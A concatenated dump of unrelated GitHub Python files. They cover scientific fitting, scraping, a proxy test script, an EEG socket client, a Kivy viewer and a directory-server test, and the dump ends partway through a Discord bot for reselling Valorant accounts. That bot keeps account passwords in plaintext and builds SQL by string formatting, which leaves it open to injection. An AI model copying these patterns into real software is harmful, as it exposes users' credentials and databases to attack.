'https://api.finder.partners.aws.a2z.com/search?id='+str(id)+'&locale=en&sourceFilter=detailPage'\n response = requests.get(url=url)\n response.encoding = 'utf-8'\n data1 = response.text\n data_dict1 = json.loads(data1)\n #if data_dict1['message']['_source'].get()\n address_list = data_dict1['message']['_source'].get('office_address','none')\n if isinstance(address_list,str):\n data = dict()\n data['id'] = id\n data['name'] = name\n data['address'] = address_list\n else:\n data = dict()\n data['id'] = id\n data['name'] = name\n data['address'] = address_list[0]['country'] + address_list[0]['street']\n #address_list = data_dict1['message']['_source']['office_address']\n # address_los = []\n # for j in address_list:\n # country = j['country']\n # street = j['street']\n # address_los.append(country+street)\n #n = len(address_list)\n\n # for i in range(n):\n # data['address'+str(i)] = address_list[i]['country'] + address_list[i]['street']\n data_list.append(data)\n\ndf = pd.DataFrame(data_list)\ndf.to_excel('{}.xlsx'.format('infro'))\nprint(data_dict)\nprint(type(data_dict))\n","repo_name":"zpz915/craw","sub_path":"craw.py","file_name":"craw.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"4060625532","text":"import numpy as np\nimport lmfit as lm\nfrom scipy.signal import find_peaks\n\nEPS = np.finfo(np.float64).eps\n\n\nclass PulseShapeABC:\n RESPONSE = None\n\n def __init__(self, pulse, fit_type, weight=True):\n self.pulse = pulse\n self.loop = pulse.loop\n self.noise = pulse.noise\n self.fit_type = fit_type\n self.shrink = self.pulse.p_trace.shape[1] - self.pulse.template.shape[1]\n\n # initialize to template shape\n self.n_points = self.pulse.template.shape[1]\n self.f = np.fft.rfftfreq(self.n_points)[:, np.newaxis, np.newaxis] # n_points x 1 x 1\n self.t = np.linspace(0, self.n_points / self.pulse.sample_rate * 1e6, self.n_points)\n self.weight = weight\n # initialize weights\n if weight:\n if self.fit_type == \"optimal_fit\":\n s = np.array([[self.noise.pp_psd, self.noise.pd_psd],\n [np.conj(self.noise.pd_psd), self.noise.dd_psd]], dtype=np.complex)\n s = s.transpose((2, 0, 1)) # n_frequencies x 2 x 2\n elif self.fit_type == \"phase_fit\":\n s = self.noise.pp_psd[..., np.newaxis, np.newaxis] # n_frequencies x 1 x 1\n elif self.fit_type == \"dissipation_fit\":\n s = self.noise.dd_psd[..., np.newaxis, np.newaxis] # n_frequencies x 1 x 1\n else:\n raise ValueError(\"'{}' is not a valid fit_type\".format(fit_type))\n self.s_inv = np.linalg.inv(s)\n else:\n if self.fit_type == \"optimal_fit\":\n self.s_inv = np.ones((self.f.size, 2, 2))\n else:\n self.s_inv = np.ones((self.f.size, 1, 1))\n\n def fit(self, data, guess):\n result = lm.minimize(self.chi2, guess, scale_covar=True, args=(data,))\n return result\n\n def guess(self):\n raise NotImplementedError\n\n def model_fft(self, params):\n raise NotImplementedError\n\n def chi2(self, params, data):\n model_fft = self.model_fft(params)\n if self.shrink != 0 and data.shape[0] != self.pulse.template.shape[1]:\n data = data[self.shrink // 2: -self.shrink // 2, :, :]\n data_fft = np.fft.rfft(data, axis=0)\n x = (data_fft - model_fft) # n_frequencies x 2 x 1\n return np.sqrt((np.conj(x.transpose(0, 2, 1)) @ self.s_inv @ x).real)\n\n\nclass Template(PulseShapeABC):\n \"\"\"A model to fit pulses to an energy dependent template.\"\"\"\n RESPONSE = \"energy\"\n\n def __init__(self, pulse, fit_type):\n super().__init__(pulse, fit_type)\n self.s_inv[0, :] = 0 # don't use DC component for the fit\n\n def model_fft(self, params):\n energy = params[\"energy\"].value\n index = params['index'].value\n if self.fit_type == \"optimal_fit\":\n calibration = np.array([[self.loop.phase_calibration(energy)], [self.loop.dissipation_calibration(energy)]])\n template_fft = self.loop.template_fft(energy).T[..., np.newaxis] # n_frequencies x 2 x 1\n elif self.fit_type == \"phase_fit\":\n calibration = self.loop.phase_calibration(energy)\n template_fft = self.loop.template_fft(energy)[0, ..., np.newaxis, np.newaxis] # n_frequencies x 1 x 1\n else:\n calibration = self.loop.dissipation_calibration(energy)\n template_fft = self.loop.template_fft(energy)[1, ..., np.newaxis, np.newaxis] # n_frequencies x 1 x 1\n fft = template_fft * calibration\n fft_shifted = fft * np.exp(-2j * np.pi * self.f * (index - (self.n_points - self.n_points // 2)))\n return fft_shifted\n\n def guess(self):\n params = lm.Parameters()\n params.add(\"energy\", value=self.pulse.energies[0] if len(self.pulse.energies) == 1 else 0)\n params.add(\"index\", self.pulse._peak_index[self.mask].mean())\n return params\n\n\nclass TripleExponential(PulseShapeABC):\n \"\"\"A model to fit pulses to a triple exponential function\"\"\"\n RESPONSE = \"a * (1 + b) + c * (1 + d)\"\n\n def model(self, params, **kwargs):\n t0 = kwargs.get(\"t0\", params['t0'].value)\n p = np.empty((self.t.size, 2 if self.fit_type == \"optimal_fit\" else 1, 1))\n index = 0\n if self.fit_type in [\"optimal_fit\", \"phase_fit\"]:\n a = kwargs.get('a', params['a'].value)\n b = kwargs.get('b', params['b'].value)\n rise_time1 = kwargs.get('rise_time1', params['rise_time1'].value)\n fall_time1 = kwargs.get('fall_time1', params['fall_time1'].value)\n fall_time2 = kwargs.get('fall_time2', params['fall_time2'].value)\n phase_offset = kwargs.get('phase_offset', params['phase_offset'].value)\n arg0 = -(self.t[self.t >= t0] - t0) / max(rise_time1, EPS)\n arg1 = -(self.t[self.t >= t0] - t0) / max(fall_time1, EPS)\n arg2 = -(self.t[self.t >= t0] - t0) / max(fall_time2, EPS)\n p[self.t >= t0, index, 0] = -a * (1 - np.exp(arg0)) * (np.exp(arg1) + b * np.exp(arg2)) + phase_offset\n p[self.t < t0, index, 0] = phase_offset\n index += 1\n if self.fit_type in [\"optimal_fit\", \"dissipation_fit\"]:\n c = kwargs.get('c', params['c'].value)\n d = kwargs.get('d', params['d'].value)\n rise_time2 = kwargs.get('rise_time2', params['rise_time2'].value)\n fall_time3 = kwargs.get('fall_time3', params['fall_time3'].value)\n fall_time4 = kwargs.get('fall_time4', params['fall_time4'].value)\n dissipation_offset = kwargs.get('dissipation_offset', params['dissipation_offset'].value)\n arg3 = -(self.t[self.t >= t0] - t0) / max(rise_time2, EPS)\n arg4 = -(self.t[self.t >= t0] - t0) / max(fall_time3, EPS)\n arg5 = -(self.t[self.t >= t0] - t0) / max(fall_time4, EPS)\n p[self.t >= t0, index, 0] = -c * (1 - np.exp(arg3)) * (np.exp(arg4) + d * np.exp(arg5)) + dissipation_offset\n p[self.t < t0, index, 0] = dissipation_offset\n return p\n\n def model_fft(self, params):\n return np.fft.rfft(self.model(params), axis=0)\n\n def guess(self):\n params = lm.Parameters()\n params.add(\"t0\", value=np.argmin(self.pulse.template[0]) / self.pulse.sample_rate * 1e6)\n index = []\n phase_amplitude = np.abs(np.median(np.min(self.pulse.p_trace, axis=1)))\n dissipation_amplitude = np.abs(np.median(np.min(self.pulse.d_trace, axis=1)))\n phase_fall_time = np.abs(np.trapz(self.pulse.template[0]) / self.pulse.sample_rate * 1e6)\n dissipation_fall_time = np.abs(np.trapz(self.pulse.template[1] / self.pulse.template[1].min()) /\n self.pulse.sample_rate * 1e6)\n peak = np.argmin(self.pulse.template[0])\n try:\n start = find_peaks(self.pulse.template[0][:peak], height=-0.5)[0][-1] # nearest extrema\n except IndexError:\n start = 0 # no relative max before the peak\n rise_time = (self.t[peak] - self.t[start]) / 2\n if self.fit_type in [\"phase_fit\", \"optimal_fit\"]:\n params.add(\"a\", value=phase_amplitude * 1.2, min=0)\n params.add(\"b\", value=0.25, min=0)\n params.add(\"rise_time1\", value=rise_time, min=0)\n params.add(\"fall_time1\", value=phase_fall_time / 2, min=0)\n params.add(\"fall_time2\", value=phase_fall_time * 2, min=0)\n params.add(\"phase_offset\", value=0)\n index.append(0)\n\n if self.fit_type in [\"dissipation_fit\", \"optimal_fit\"]:\n params.add(\"c\", value=dissipation_amplitude * 1.2, min=0)\n params.add(\"d\", value=0.25, min=0)\n params.add(\"rise_time2\", value=rise_time, min=0)\n params.add(\"fall_time3\", value=dissipation_fall_time / 2, min=0)\n params.add(\"fall_time4\", value=dissipation_fall_time * 2, min=0)\n params.add(\"dissipation_offset\", value=0)\n index.append(1)\n\n # fit the template with all of the parameters varying to get the guess\n result = self.fit(np.atleast_3d(self.pulse.template.T[:, index]) * phase_amplitude, params)\n params = result.params\n\n # fix the exponential ratios and fall times based on the template fit\n if self.fit_type in [\"phase_fit\", \"optimal_fit\"]:\n params['b'].set(vary=False)\n params['fall_time1'].set(vary=False)\n params['fall_time2'].set(vary=False)\n if self.fit_type in [\"dissipation_fit\", \"optimal_fit\"]:\n params['d'].set(vary=False)\n params['fall_time3'].set(vary=False)\n params['fall_time4'].set(vary=False)\n # fix the relative amplitudes of the phase and dissipation signal\n if self.fit_type == \"optimal_fit\":\n params['c'].set(expr=\"a * {} / {}\".format(params['c'].value, params['a'].value))\n elif self.fit_type == \"phase_fit\":\n params.add('c', value=0, vary=False)\n params.add('d', value=0, vary=False)\n else:\n params.add('a', value=0, vary=False)\n params.add('b', value=0, vary=False)\n return params\n\n def chi2(self, params, data):\n if self.weight:\n return super().chi2(params, data)\n else: # override super to get a more robust residual vector (twice the length)\n model = self.model(params)\n if self.shrink != 0 and data.shape[0] != self.pulse.template.shape[1]:\n data = data[self.shrink // 2: -self.shrink // 2, :, :]\n x = (data - model) # n_time x 2 x 1\n if self.fit_type == \"optimal_fit\":\n return np.concatenate([x[:, 0, 0], x[:, 1, 0]])\n else:\n return x[:, 0, 0]\n","repo_name":"zobristnicholas/mkidcalculator","sub_path":"mkidcalculator/models/pulse_shapes.py","file_name":"pulse_shapes.py","file_ext":"py","file_size_in_byte":9655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"10777819149","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jan 17 01:49:43 2018\n\n@author: weiya\n\"\"\"\n\nimport requests\nimport re\n\nclass proxyVisit():\n\n def __init__(self, url):\n self.url = url\n self.proxies = {'http': 'socks5://127.0.0.1:1080','https':'socks5://127.0.0.1:1080'}\n self.headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) '\n\n 'AppleWebKit/537.36 (KHTML, like Gecko) '\n\n 'Chrome/56.0.2924.87 Safari/537.36'}\n \n self.session = requests.Session()\n self.session.proxies = self.proxies\n self.session.headers = self.headers\n \n def visit(self):\n resp = self.session.get(self.url)\n if resp.status_code == 200:\n print(self.getCurrentIp())\n print(\"succeed!\")\n else:\n print(\"failed!\")\n \n \n def getCurrentIp(self): \n url = 'http://ip.cn'\n html = self.session.get(url).text\n return(re.search('\\d+.\\d+.\\d+.\\d+', html).group(0))\n\nif __name__ == \"__main__\":\n obj = proxyVisit('https://esl.hohoweiya.xyz')\n for i in range(10):\n obj.visit()\n","repo_name":"szcf-weiya/techNotes","sub_path":"docs/python/url_and_UA/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"2329193579","text":"import socket\nimport json\nimport threading\nimport time\nimport sys\n\nclass TGCHandler:\n 'Class for dealing with the ThinkGear Connector Application'\n\n\n def __init__(self,host = '127.0.0.1',port = 13854):\n super().__init__()\n self.host = host\n self.port = port\n self.socket = socket.socket()\n self.socket.setblocking(1)\n self.dic = {}\n\n def connect(self):\n try:\n print(\"Connecting...\")\n self.socket.connect((self.host,self.port))\n self.connected = True\n print(\"Succesfully Connected\")\n except:\n print(\"Unable to Connect\" + str(sys.exc_info()[0]))\n\n def send(self,dic):\n try:\n st = json.dumps(dic)\n self.socket.sendall(st.encode())\n return True\n except:\n return False\n\n\n def recieve(self,pcktSize = 2048):\n if self.configured:\n try:\n st = self.socket.recv(pcktSize).decode()\n st = st.strip()\n star = st.split('\\r')\n dics = []\n for s in star:\n dic = json.loads(s)\n dics.append(dic)\n return dics\n except:\n return\n else:\n raise NameError('NotConfigured')\n \n def get(self, key):\n if key in self.dic.keys():\n return self.dic[key]\n else:\n return\n\n\n def configure(self,flag = True):\n if self.connected:\n if flag:\n if self.send({\"enableRawOutput\":True,\"format\":\"Json\"}):\n self.configured = True\n self.rawEnabled = True\n print(\"Succesfully Configured with Raw Output\")\n else:\n print(\"Configuration not successfull\" + sys.exc_info()[0])\n else:\n if self.send({\"enableRawOutput\":False,\"format\":\"Json\"}):\n self.configured = True\n self.rawEnabled = False\n print(\"Succesfully Configured without Raw Output\")\n else:\n print(\"Configuration not successfull\" + sys.exc_info()[0])\n else:\n raise NameError('NotConnected') \n def continuousMeasuring(self):\n while self.reading:\n dics = self.recieve()\n if dics != None:\n for dic in dics:\n for k in dic.keys():\n if k in ['eegPower','eSense']:\n for k2 in dic[k].keys():\n self.dic[k2] = dic[k][k2]\n else:\n self.dic[k] = dic[k]\n\n def startMeasuring(self):\n self.reading = True\n x = threading.Thread(target=self.continuousMeasuring)\n x.start()\n time.sleep(2)\n print(\"Measuring Started\")\n\n def stopMeasuring(self):\n self.reading = False\n print(\"Measuring Stopped\")\n\n ","repo_name":"manumathewcherian/neuroassist","sub_path":"TGCHandler.py","file_name":"TGCHandler.py","file_ext":"py","file_size_in_byte":3019,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"9537118601","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport os\nimport click\n\nfrom mie.xlogger.klog import klog\nklog.to_stdout()\n\n\n@click.command()\n@click.option('--maxlen', '-m', default=40, help='Max length of trans part.')\n@click.option('--phase', '-p', default=False, is_flag=True, help='Show phase.')\n@click.option('--full', '-f', default=False, is_flag=True, help='Full output.')\n@click.option('--similar', '-s', default=False, is_flag=True, help='Find similar.')\n@click.option('--local', '-l', default=False, is_flag=True, help='Find local DB.')\n@click.argument('pat', type=str)\ndef search(pat, maxlen, phase, full, similar, local):\n '''Search words according to given re pattern.'''\n\n try:\n winwidth = os.get_terminal_size().columns\n except:\n winwidth = 0\n\n if local:\n import dbquery\n lines = dbquery.word_get(pat, maxlen, phase, full, similar, winwidth)\n print(\"\\r\\n\".join(lines))\n else:\n import pycurl\n\n url = \"http://localhost:12000/\"\n url += pat\n url += \"?m=%d\" % int(maxlen)\n url += \"&p=%d\" % int(phase)\n url += \"&f=%d\" % int(full)\n url += \"&s=%d\" % int(similar)\n url += \"&w=%d\" % int(winwidth)\n\n c = pycurl.Curl()\n c.setopt(c.URL, url.encode('utf-8'))\n c.perform()\n\n\nif __name__ == \"__main__\":\n search()\n\n# vim: sw=4 ts=4 sts=4 ai et\n","repo_name":"kamasamikon/redic","sub_path":"wg.py","file_name":"wg.py","file_ext":"py","file_size_in_byte":1372,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"13404203511","text":"import logging\nimport pytest\nimport os\nimport time\nfrom lib389._constants import DEFAULT_SUFFIX\nfrom lib389.topologies import topology_m4\nfrom lib389.tasks import CleanAllRUVTask\nfrom lib389.replica import ReplicationManager, Replicas\n\nlog = logging.getLogger(__name__)\n\n\ndef remove_supplier4_agmts(msg, topology_m4):\n \"\"\"Remove all the repl agmts to supplier4. \"\"\"\n\n log.info('%s: remove all the agreements to supplier 4...' % msg)\n repl = ReplicationManager(DEFAULT_SUFFIX)\n # This will delete m4 from the topo *and* remove all incoming agreements\n # to m4.\n repl.remove_supplier(topology_m4.ms[\"supplier4\"],\n [topology_m4.ms[\"supplier1\"], topology_m4.ms[\"supplier2\"], topology_m4.ms[\"supplier3\"]])\n\ndef task_done(topology_m4, task_dn, timeout=60):\n \"\"\"Check if the task is complete\"\"\"\n\n attrlist = ['nsTaskLog', 'nsTaskStatus', 'nsTaskExitCode',\n 'nsTaskCurrentItem', 'nsTaskTotalItems']\n done = False\n count = 0\n\n while not done and count < timeout:\n try:\n entry = topology_m4.ms[\"supplier1\"].getEntry(task_dn, attrlist=attrlist)\n if entry is not None:\n if entry.hasAttr('nsTaskExitCode'):\n done = True\n break\n else:\n done = True\n break\n except ldap.NO_SUCH_OBJECT:\n done = True\n break\n except ldap.LDAPError:\n break\n time.sleep(1)\n count += 1\n\n return done\n\n\ndef check_ruvs(msg, topology_m4, m4rid):\n \"\"\"Check suppliers 1-3 for supplier 4's rid.\"\"\"\n for inst in (topology_m4.ms[\"supplier1\"], topology_m4.ms[\"supplier2\"], topology_m4.ms[\"supplier3\"]):\n clean = False\n replicas = Replicas(inst)\n replica = replicas.get(DEFAULT_SUFFIX)\n log.info('check_ruvs for replica %s:%s (suffix:rid)' % (replica.get_suffix(), replica.get_rid()))\n\n count = 0\n while not clean and count < 20:\n ruv = replica.get_ruv()\n if m4rid in ruv._rids:\n time.sleep(5)\n count = count + 1\n else:\n clean = True\n if not clean:\n raise Exception(\"Supplier %s was not cleaned in time.\" % inst.serverid)\n return True\n \n\n@pytest.mark.flaky(max_runs=2, min_passes=1)\ndef test_clean_restart(topology_m4):\n \"\"\"Check that cleanallruv task works properly after a restart\n\n :id: c6233bb3-092c-4919-9ac9-80dd02cc6e02\n :setup: Replication setup with four suppliers\n :steps:\n 1. Disable replication on supplier 4\n 2. Remove agreements to supplier 4 from other suppliers\n 3. Stop supplier 3\n 4. Run a cleanallruv task on supplier 1\n 5. Stop supplier 1\n 6. Start supplier 3\n 7. Make sure that no crash happened\n 8. Start supplier 1\n 9. Make sure that no crash happened\n 10. Check that everything was cleaned\n :expectedresults:\n 1. Operation should be successful\n 2. Agreements to supplier 4 should be removed\n 3. Supplier 3 should be stopped\n 4. Cleanallruv task should be successfully executed\n 5. Supplier 1 should be stopped\n 6. Supplier 3 should be started\n 7. No crash should happened\n 8. Supplier 1 should be started\n 9. No crash should happened\n 10. Everything should be cleaned\n \"\"\"\n log.info('Running test_clean_restart...')\n\n # Disable supplier 4\n log.info('test_clean: disable supplier 4...')\n\n # Remove the agreements from the other suppliers that point to supplier 4\n repl = ReplicationManager(DEFAULT_SUFFIX)\n m4rid = repl.get_rid(topology_m4.ms[\"supplier4\"])\n remove_supplier4_agmts(\"test_clean\", topology_m4)\n\n # Stop supplier 3 to keep the task running, so we can stop supplier 1...\n topology_m4.ms[\"supplier3\"].stop()\n\n # Run the task\n log.info('test_clean: run the cleanAllRUV task...')\n cruv_task = CleanAllRUVTask(topology_m4.ms[\"supplier1\"])\n cruv_task.create(properties={\n 'replica-id': m4rid,\n 'replica-base-dn': DEFAULT_SUFFIX,\n 'replica-force-cleaning': 'no',\n 'replica-certify-all': 'yes'\n })\n\n # Sleep a bit, then stop supplier 1\n time.sleep(5)\n topology_m4.ms[\"supplier1\"].stop()\n\n # Now start supplier 3 & 1, and make sure we didn't crash\n topology_m4.ms[\"supplier3\"].start()\n if topology_m4.ms[\"supplier3\"].detectDisorderlyShutdown():\n log.fatal('test_clean_restart: Supplier 3 previously crashed!')\n assert False\n\n topology_m4.ms[\"supplier1\"].start(timeout=30)\n if topology_m4.ms[\"supplier1\"].detectDisorderlyShutdown():\n log.fatal('test_clean_restart: Supplier 1 previously crashed!')\n assert False\n\n # Check the other supplier's RUV for 'replica 4'\n log.info('test_clean_restart: check all the suppliers have been cleaned...')\n clean = check_ruvs(\"test_clean_restart\", topology_m4, m4rid)\n assert clean\n\n log.info('test_clean_restart PASSED, restoring supplier 4...')\n\n\nif __name__ == '__main__':\n # Run isolated\n # -s for DEBUG mode\n CURRENT_FILE = os.path.realpath(__file__)\n pytest.main([\"-s\", CURRENT_FILE])\n\n","repo_name":"389ds/389-ds-base","sub_path":"dirsrvtests/tests/suites/replication/cleanallruv_restart_test.py","file_name":"cleanallruv_restart_test.py","file_ext":"py","file_size_in_byte":5208,"program_lang":"python","lang":"en","doc_type":"code","stars":162,"dataset":"github-code","pt":"31"} +{"seq_id":"28815802444","text":"import string\n\nfrom django.http import HttpResponseRedirect, HttpResponsePermanentRedirect\n\n\ndef case_insensitive(func, case='lower', code=301):\n \"\"\"\n Django view function decorator which can enforce the case of a URL path by\n redirecting to the properly cased URL. This *allows* for case insensitive\n matches while ensuring that only a commonly cased-URL is used and seen.\n \"\"\"\n def inner(request, *args, **kwargs):\n if case not in ['lower', 'upper']:\n raise ValueError(\"{0} is not a valid case function: use 'lower' or 'upper'\".format(case))\n if code not in [301, 302]:\n raise ValueError(\"{0} is not a valid HTTP redirect code\".format(code))\n redirect_klass = HttpResponseRedirect if code == 301 else HttpResponsePermanentRedirect\n cased_path = getattr(string, case)(request.path)\n if request.path != cased_path:\n url = cased_path\n if 'QUERY_STRING' in request.META:\n url = \"{0}?{1}\".format(url, request.META['QUERY_STRING'])\n return redirect_klass(url)\n return func(request, *args, **kwargs)\n return inner","repo_name":"harthur/detect-indent","sub_path":"files/Python/10791756-djcasing-4.py","file_name":"10791756-djcasing-4.py","file_ext":"py","file_size_in_byte":1141,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"31"} +{"seq_id":"73547730327","text":"# Dokończenie zadania, które rozpoczęliśmy na zajęciach. \n# Obraz RGB jest dzielony na 3 warstwy. Dla każdej obliczana jest średnia wartość\n# sąsiadujących pikseli, co po ponownym połączeniu, daje efekt rozmycia.\n\n\nfrom PIL import Image\nimport numpy as np\n\ndef chunks(lst, n):\n # Yield successive n-sized chunks from list.\n for i in range(0, len(lst), n):\n yield lst[i:i + n]\n\ndef split_layer(rgb_image):\n # Splits layers to three separate lists\n r = list(rgb_image[0].getdata())\n g = list(rgb_image[1].getdata())\n b = list(rgb_image[2].getdata())\n return r, g, b\n\ndef count_pixel_mean(rgb_layer):\n # Counts mean value for every pixel, using values of sourrounding pixels\n mean_layer = []\n for x in range(1, im.height-1):\n for y in range(1, im.width-1):\n mean_pixel = (rgb_layer[x-1][y-1] + rgb_layer[x-1][y] + rgb_layer[x-1][y+1] \n + rgb_layer[x][y-1] + rgb_layer[x][y] + rgb_layer[x][y + 1] \n + rgb_layer[x+1][y-1] + rgb_layer[x+1][y] + rgb_layer[x+1][y+1]) // 9\n mean_layer.append(mean_pixel)\n return mean_layer\n\nif __name__ == '__main__':\n\n # Load and show original image\n im = Image.open(\"parrots.jpg\")\n im.show() \n\n # Split image to three layers\n RGB = im.split()\n red_layer, green_layer, blue_layer = split_layer(RGB)\n\n # Convert layers to lists and chunk them\n red_layer = list(chunks(red_layer, im.width))\n green_layer = list(chunks(green_layer, im.width))\n blue_layer = list(chunks(blue_layer, im.width))\n \n # Applying blur filer for layers \n red_layer_mean = count_pixel_mean(red_layer)\n green_layer_mean = count_pixel_mean(green_layer)\n blue_layer_mean = count_pixel_mean(blue_layer)\n\n # Convert layers to numpy array and reshape them\n # Note! Image has 2px less height and width due to blur filter implementation\n arr_r = np.array(red_layer_mean, dtype=np.uint8).reshape(-1, im.width-2)\n arr_g = np.array(green_layer_mean, dtype=np.uint8).reshape(-1, im.width-2)\n arr_b = np.array(blue_layer_mean, dtype=np.uint8).reshape(-1, im.width-2)\n\n # Convert layers to pillow object\n r = Image.fromarray(arr_r)\n g = Image.fromarray(arr_g)\n b = Image.fromarray(arr_b)\n\n # Merge layers, save and show blurred image\n blurred_rgb_image = Image.merge('RGB', (r, g, b))\n blurred_rgb_image.save(\"parrots_blurred.jpg\")\n blurred_rgb_image.show()\n\n\n\n","repo_name":"cafemoloko/ITLabs","sub_path":"blur_filter.py","file_name":"blur_filter.py","file_ext":"py","file_size_in_byte":2456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"12092161216","text":"import textwrap\nfrom kivy.lang import Builder\nfrom kivy.app import App\nfrom kivy.uix.boxlayout import BoxLayout\nfrom kivy.uix.textinput import TextInput\nfrom kivy.uix.label import Label\nfrom kivy.core.window import Window\n\n\nclass KvApp(App):\n\n def build(self):\n \"\"\"Build the root widget.\"\"\"\n Window.size = (1200, 800)\n\n self.root = BoxLayout(orientation='horizontal')\n\n # Create a Text Input for KV code\n self.kv_input = TextInput(size_hint_x=0.5)\n self.kv_input.bind(text=self.update)\n self.root.add_widget(self.kv_input)\n\n # Create widget placeholder\n self.kv_display = Label(size_hint_x=0.5)\n self.root.add_widget(self.kv_display)\n\n return self.root\n\n def update(self, instance, value):\n \"\"\"Update the KV display widget when the TextInput changes.\"\"\"\n self.root.remove_widget(self.kv_display)\n try:\n # Use textwrap.dedent on value to remove any indentation\n self.kv_display = Builder.load_string(textwrap.dedent(value))\n self.kv_display.size_hint_x = 0.5\n self.root.add_widget(self.kv_display)\n except Exception as e:\n self.kv_display = Label(text=str(e), size_hint_x=0.5)\n self.root.add_widget(self.kv_display)\n\n\nif __name__ == '__main__':\n KvApp().run()\n","repo_name":"AnderSchofield/KvViewer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18994824960","text":"# Imports\r\nimport discord, sqlite3, random, os\r\nfrom discord.ext import commands\r\nfrom discord.errors import Forbidden\r\n\r\n# Database Connection\r\ncon = sqlite3.connect('valoacc.db')\r\ncur = con.cursor()\r\n\r\n# Get Token\r\nfrom dotenv import load_dotenv\r\nload_dotenv()\r\nTOKEN = os.getenv('DISCORD_TOKEN')\r\n\r\n############################################\r\n# #\r\n# SETTINGS #\r\n# #\r\n############################################\r\n\r\nVERSION = '0.1'\r\nAUTHOR = 'rups#0343'\r\nOWNERS_ID = [299232190078648323,]\r\nAUTHORITIES_ID = [\r\n 299232190078648323, #Yusuf\r\n 328150462865866753, #Haktan\r\n 409333483597594624, #Enes\r\n 800454344344338484, #Yiğit\r\n 321025814982426624 #Salih\r\n]\r\nEMOTES = {\r\n 'kredi': '<:Kredi:864260738792292382>',\r\n 'vp': '<:ValoaccVP:865183881283502101>',\r\n 'radiant': '<:ValoaccRadiant:864266868528119848>',\r\n 'immortal': '<:ValoaccImmortal:864266842331676712>',\r\n 'diamond': '<:ValoaccDiamond:864266813637525515>',\r\n 'platinum': '<:ValoaccPlatinum:864266784282247168>',\r\n 'gold': '<:ValoaccGold:864266756624220173>',\r\n 'silver': '<:ValoaccSilver:864266733430374441>',\r\n 'bronze': '<:ValoaccBronze:864266709942796298>',\r\n 'iron': '<:ValoaccIron:864266672461185055>',\r\n 'unranked': '<:ValoaccUnranked:865477194554015775>'\r\n}\r\nACC_PRICE_LIST = {\r\n 'derecesiz': 12,\r\n 'demir': 7,\r\n 'bronz': 10,\r\n 'gumus': 15,\r\n 'altin': 22,\r\n 'plat': 35,\r\n 'elmas': 70,\r\n 'olumsuzluk': 110,\r\n 'radyant': 999\r\n}\r\nVP_PRICE_LIST = {\r\n '300': 15,\r\n '600': 25,\r\n '1250': 45,\r\n '2500': 90,\r\n '4400': 155,\r\n '8400': 305\r\n}\r\n\r\n############################################\r\n# #\r\n# ACTIONS #\r\n# #\r\n############################################\r\n\r\nasync def send_embed(channel, embed):\r\n try:\r\n await channel.send(embed=embed)\r\n except Forbidden:\r\n await channel.send(\"Bu kanala embed mesaj gönderilemiyor. Lütfen izinleri kontrol edin.\")\r\n\r\n############################################\r\n# #\r\n# CREDIT #\r\n# #\r\n############################################\r\n\r\ndef add_credit(user, quantity):\r\n cur.execute(\"SELECT * FROM discord_users WHERE id = {}\".format(user.id))\r\n if len(cur.fetchall()) == 0:\r\n cur.execute(\"INSERT INTO discord_users VALUES ({}, {})\".format(user.id, int(quantity)))\r\n con.commit()\r\n else:\r\n cur.execute(\"SELECT * FROM discord_users WHERE id = {}\".format(user.id))\r\n userr = cur.fetchall()\r\n userr_credit = userr[0][1]\r\n userr_credit += int(quantity)\r\n cur.execute('UPDATE discord_users SET credit = {} WHERE id = {}'.format(userr_credit, user.id))\r\n con.commit()\r\n\r\ndef reset_credit(user):\r\n cur.execute(\"UPDATE discord_users SET credit = 0 WHERE id = {}\".format(user.id))\r\n con.commit()\r\n\r\ndef get_credit(user):\r\n cur.execute(\"SELECT * FROM discord_users WHERE id = {}\".format(user.id))\r\n userr = cur.fetchall()\r\n if len(userr) == 0:\r\n return 0\r\n else:\r\n return userr[0][1]\r\n\r\n############################################\r\n# #\r\n# STOCK #\r\n# #\r\n############################################\r\n\r\nasync def add_acc_stock(username, password, rank, guild, message_author):\r\n cur.execute(\"SELECT * FROM accounts WHERE username = '{}'\".format(username))\r\n if len(cur.fetchall()) != 0:\r\n return 0\r\n else:\r\n acc_id = random.randint(100000, 999999)\r\n cur.execute(\"INSERT INTO accounts VALUES ('{}', '{}', '{}', '{}')\".format(acc_id, username, password, rank))\r\n con.commit()\r\n embed = discord.Embed(title='Valoacc Log Sistemi', description='Stoğa bir ürün eklendi.', color=0x33ff00)\r\n embed.add_field(name='ID', value=acc_id, inline=False)\r\n embed.add_field(name='Kullanıcı Adı', value=username, inline=False)\r\n embed.add_field(name='Şifre', value=password, inline=False)\r\n embed.add_field(name='Rütbe', value=rank, inline=False)\r\n embed.add_field(name='Yetkili', value=message_author.mention, inline=False)\r\n embed.set_thumbnail(url='https://cdn.discordapp.com/attachments/801490295924588585/864936680947187782/valorantlogo.png')\r\n embed.set_footer(text=\"Valoacc ● dev. by rups\")\r\n stock_log_channel = guild.get_channel(864261324720701440)\r\n await send_embed(stock_log_channel, embed)\r\n return acc_id\r\n\r\nasync def del_acc_stock(idd, guild, message_author):\r\n cur.execute(\"SELECT * FROM accounts WHERE id = '{}'\".format(idd))\r\n del_acc = cur.fetchall()\r\n if len(del_acc) == 1:\r\n cur.execute(\"DELETE FROM accounts WHERE id = '{}'\".format(idd))\r\n con.commit()\r\n embed = discord.Embed(title='Valoacc Log Sistemi', description='Stoktan bir ürün eksildi.', color=0xff0000)\r\n embed.add_field(name='ID', value=del_acc[0][0], inline=False)\r\n embed.add_field(name='Kullanıcı 